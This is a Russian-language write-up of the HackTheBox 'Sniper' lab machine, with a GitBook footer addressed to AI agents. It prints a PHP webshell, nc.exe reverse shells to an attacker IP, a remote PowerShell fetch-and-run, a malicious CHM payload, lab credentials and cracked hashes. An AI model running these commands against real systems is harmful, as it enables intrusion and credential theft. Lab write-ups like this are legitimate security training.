> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Разбор HackTheBox Sniper {% embed url="" %} {% hint style="warning" %} Навыки: * Включение локальных файлов (LFI) * Удаленное включение файлов (RFI) (Неудачно) * Удаленное включение файлов через SMB-сервер (техника net usershare) (Успешно) * Создание webshell и достижение удаленного выполнения команд (RCE) * Утечка информации (переход к пользователю) * Эксперименты с Chisel и ScriptBlocks с использованием Invoke-Command * Создание вредоносного CHM-файла (Out-CHM.ps1) (Повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена. (80,135,139,445,496,67)

**Сканирование версий портов с Nmap:** Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```

### Порт 80:

**Анализ с помощью `whatweb`:** Мы использовали `whatweb` чтобы определить технологии, используемые веб-сервером: {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **Уязвимость LFI :** На странице смены языка был `lang` параметр для загрузки различных PHP-файлов в зависимости от выбранного языка.

Мы протестировали с локальным системным файлом: ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * Это позволило нам отобразить содержимое `hosts` файле.

**Попытки чтения конфиденциальных файлов с помощью `php://filter`:** Мы попытались использовать LFI, чтобы прочитать `index.php` файл веб-сервера Microsoft IIS, расположенный в `/inetpub/wwwroot/index.php`, но операция через `php://filter` не сработала.

```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```

### Удаленное включение файлов (RFI) (Неудачно) #### Тест RFI через удаленный веб-сервер: Мы попытались загрузить удаленный файл через `?lang=http://10.10.14.3/index.html` URL, указав на наш локальный веб-сервер на Python3. ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` Но это не сработало.

## Удаленное включение файлов (SMB-сервер) **Создать SMB-сервер:** Мы создали локальный SMB-сервер с помощью `smbserver.py` и расшарили текущий каталог: ```bash smbserver.py share $(pwd) -smb2support ``` Затем мы попытались загрузить файл с SMB-сервера, изменив `lang` параметра ```bash ?lang=/10.10.14.3/share/index.html ``` * На этот раз сервер корректно интерпретировал наш `index.html` файл, отобразив его содержимое ("Hello World").

**Создать PHP webshell-файл (`cmd.php)`** Мы создали `cmd.php` файл на нашем SMB-сервере для выполнения удаленных команд через `cmd` : ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* Выполнение команд через SMB/*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` С помощью следующего URL мы выполнили `whoami` команды: ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```

### Reverse Shell (nc.exe) **Скачивание `nc.exe` для reverse shell:**Мы извлекли `nc.exe` бинарный файл из набора инструментов в `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` и скопировали его в рабочий каталог. ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **Слушать порт 443:**Мы настроили слушатель с помощью `nc` для прослушивания порта 443: ```bash rlwrap nc -nvlp 443 ``` **Выполнение reverse shell через SMB:**Затем мы запустили reverse shell, указав `cmd` параметр на наш файл ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` Так мы получили reverse shell на нашу машину.

## Повышение привилегий **Поиск конфиденциальных файлов:**Мы искали конфиденциальную информацию в PHP-файлах и нашли `db.php` файл, содержащий учетные данные базы данных: * Пользователь: `dbuser` * Пароль: `36mEAhz/B8xQ~2VM`

**Проверка учетных данных другого пользователя:**

Мы обнаружили другого пользователя по имени **Chris** в дополнение к пользователю **Администратор**. Мы использовали **CrackMapExec** для проверки, действительны ли `Chris` учетные данные: ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Подключение прошло успешно.

**Проверка привилегий пользователя "Chris":** * Мы заметили, что пользователь `Chris` принадлежал к группе **Remote Management User** что позволяло ему подключаться удаленно.

/*/* Анализ открытых портов:/*/* Порт, необходимый для удаленного подключения (порт 5985, используемый WinRM), не был открыт извне, а был внутренним. Мы использовали `netstat` для проверки прослушиваемых портов на целевой машине: ```bash netstat -an | findstr "LISTEN" ```

## Проброс портов (5985 WinRM) ### 1. PowerShell Мы запустили PowerShell на нашей атакующей машине: ```bash powershell ``` Мы узнали имя Windows-окружения с помощью команды `hostname`, и выяснили, что имя хоста было `Sniper`. ```powershell hostname ``` Затем мы создали переменную для пользователя `Chris` и еще одну для пароля с помощью `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` Затем мы создали `PSCredential` объект, чтобы иметь возможность выполнять удаленные команды на целевой машине: ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **Выполнение удаленных команд:**Мы использовали следующую команду, чтобы запустить `whoami` удаленно и проверить доступ: ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * Это позволило нам подтвердить, что мы успешно подключены как **Chris**.

**Reverse shell :**Чтобы получить полный доступ к системе, мы настроили слушатель на порту 4444: ```bash rlwrap nc -nlvp 4444 ``` Затем мы запустили reverse shell, используя `nc.exe` с нашего SMB-сервера: {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}

### 2. Chisel {% embed url="" %} **Скачать и подготовить файлы:**/ Мы загрузили сжатые **Chisel** файлы, а именно: * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} После распаковки мы перенесли **Chisel** файл для Windows на целевую машину: ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```

**Запуск Chisel на атакующей машине:**Мы запустили **Chisel** в режиме сервера на атакующей машине на порту 8888: ```bash ./chisel-linux server -p 8888 -reverse ``` Затем на целевой машине Windows мы запустили **Chisel** в клиентском режиме, чтобы подключиться к нашей атакующей машине и перенаправить порт 5985 на нашу машину: ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```

**Проверка перенаправленного порта с помощью `lsof`:**Мы проверили, что порт 5985 был корректно перенаправлен, с помощью команды:

**Вход через WinRM:**Мы использовали **CrackMapExec** для проверки подключения через **WinRM** на перенаправленном порту 5985: ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Мы получили символ **взломано**, что подтвердило, что нам удалось получить доступ к машине через WinRM.

**Финальное подключение с Evil-WinRM:**Наконец, мы использовали **Evil-WinRM** для получения удаленной оболочки от имени **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### Флаг user.txt :)

**Исследование каталога "docs":**В корне **Windows**, мы нашли папку **docs** содержащую файл `note.txt` файл со следующим сообщением:

> Привет, Chris, > > Твои навыки PHP просто ужасны. Свяжись с Yamitenshi, чтобы он научил тебя им пользоваться, а затем исправь сайт, потому что в нем много ошибок. Надеюсь также, что ты подготовил документацию для нашего нового приложения. Положи ее сюда, когда закончишь. > > С уважением,/ CEO Sniper. **Поиск документации в системе:**Мы искали документацию, упомянутую CEO, и нашли ее в **каталоге в** Downloads **каталоге под** файле.

### **Создание вредоносного CHM-файла:** После того как мы выяснили, что CEO хотел просматривать **CHM** файлы в **docs** каталоге, мы поискали в интернете, как создавать вредоносные CHM-файлы. {% embed url="" %} **Скачивание HTML Help Tool:**Мы скачали **HTML Help** и использовали PowerShell-скрипт для создания вредоносного CHM-файла * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` Затем мы изменили скрипт, чтобы выполнять удаленную вредоносную команду через **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```

**Помещение вредоносного CHM-файла в целевой каталог:**Мы настроили SMB-сервер на атакующей машине, чтобы передать вредоносный файл на целевую машину Windows: ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* Подключение к SMB-шаре с машины-жертвы:/*/*С целевой машины Windows мы смонтировали SMB-шару и скопировали вредоносный `doc.chm` файл: ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **Ожидание reverse shell:**Мы запустили слушатель на нашей атакующей машине, ожидая подключения reverse shell: ```bash rlwrap nc -nlvp 443 ```

/*/* Возникшая проблема:/*/*Хотя CHM-файл был открыт, мы не получили reverse shell. Однако нам удалось перехватить **SMB Relay V2** на нашем сервере. Это предоставило нам хэш аутентификации пользователя `Администратор`

#### **Взлом хэша администратора:** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`

#### **Вход от имени администратора:** С полученными учетными данными мы использовали **Evil-WinRM** для подключения к машине от имени администратора: ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.